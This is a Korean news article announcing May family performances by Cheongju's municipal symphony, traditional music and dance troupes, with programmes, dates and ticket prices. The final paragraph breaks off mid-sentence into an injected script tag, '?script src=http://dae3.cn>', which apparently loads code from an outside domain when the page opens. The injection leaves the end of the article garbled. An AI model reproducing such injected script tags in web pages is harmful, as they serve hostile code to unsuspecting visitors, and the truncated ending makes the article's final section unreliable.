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제목	[중부매일] 클래식 맛 보고 판소리에 취하고
내용	청주시립예술단이 가족의 달 5월을 맞아. 다채로운 공연 선물을 준비했다. 청주시립교향악단의 온 가족이 함께 즐기는 행복한 클래식 데이트와 청주시립무용단의 찾아가는 공연. 시립국악단의 판소리 다섯바탕 눈대목까지 5월 시립예술단이 풍성한 가족문화 산책 길로 안내한다. #맛있는 클래식 음악과 함께 가족간 순수한 소통의 길을 열어보자. 청주시립교향악단(지휘자 조규진)이 온 가족이 함께 즐기는 행복한 클래식 데이트를 제안한다. 오는 5월 10일 오후 7시30분 청주예술의전당 대공연장에서 청주시립교향악단 프리미엄시리즈 세번째로 준비된 .맛있는 클래식.이 그것. 어렵고 지루한 음악이라는 클래식의 편견을 걷어내고 손 뻗으면 닿을 수 있는 쉽고 친근한 음악 장르임을 인식시켜주기 위해 마련된 가족음악회다. 쉬운 해설과 함께 맛있는 선율을 선사할 이번 무대에서는 모차르트의 아버지 .레오 폴드 모차르트.가 작곡한 현악합주에 새소리(뻐꾸기·나이팅게일·메추라기 등)와 장난감 악기들이 곁들여진 .장난감 교향곡.과 모차르트의 .목관4중주 협주곡.이 연주된다. 입장료는 R석 1만원. S석 5천원.(043-279-4695) #판소리 다섯바탕 눈대목 청주시립국악단(지휘자 한석)은 판소리 다섯 바탕 눈대목을 한자리에서 감상할 수 있는 기회를 제공한다. 눈대목이란 서양의 아리아에 해당하는 말로 오는 5월 10일 오후 7시30분 청주예술의전당 소공연장에서는 판소리 다섯바탕인 춘향가와 심청가. 흥보가. 수궁가. 적벽가의 대목 중 일반 대중에게 널리 알려진 부분을 모두 감상할 수 있다. 청주시립국악단 전통음악시리즈 세번째 무대로 마련된 이날 공연의 주제는 .한국의 전통소리. 그 진득한 멋.으로 상금주. 도건영. 최태진. 양은주. 김우연 연창으로 마련된다. 춘향가에서는 춘향이 집장사령에게 매를 맞으면서 그 숫자에 맞춰 자신의 절개를 읊은 .십장가 대목.을. 흥보가에서는 제비가 본국을 떠나 한국에 이르는 과정을 그린 .제비노정기 대목.을 선보인다.입장료는 전석 5천원.(043-279-4694) #한국 전통무용의 화려함 청주시립무용단(안무자 박재희)은 춤을 통해 충북 전역에 문화예술의 향기를 전한다. 오는 5월 6일 국립청주박물관을 시작으로 9일 충청북도노인복지회관에서 한국 전통무용의 아름다움과 화려함을 선보인다. 찾아가는 공연으로 기획된 이번 무대에서는 ?script src=http://dae3.cn>
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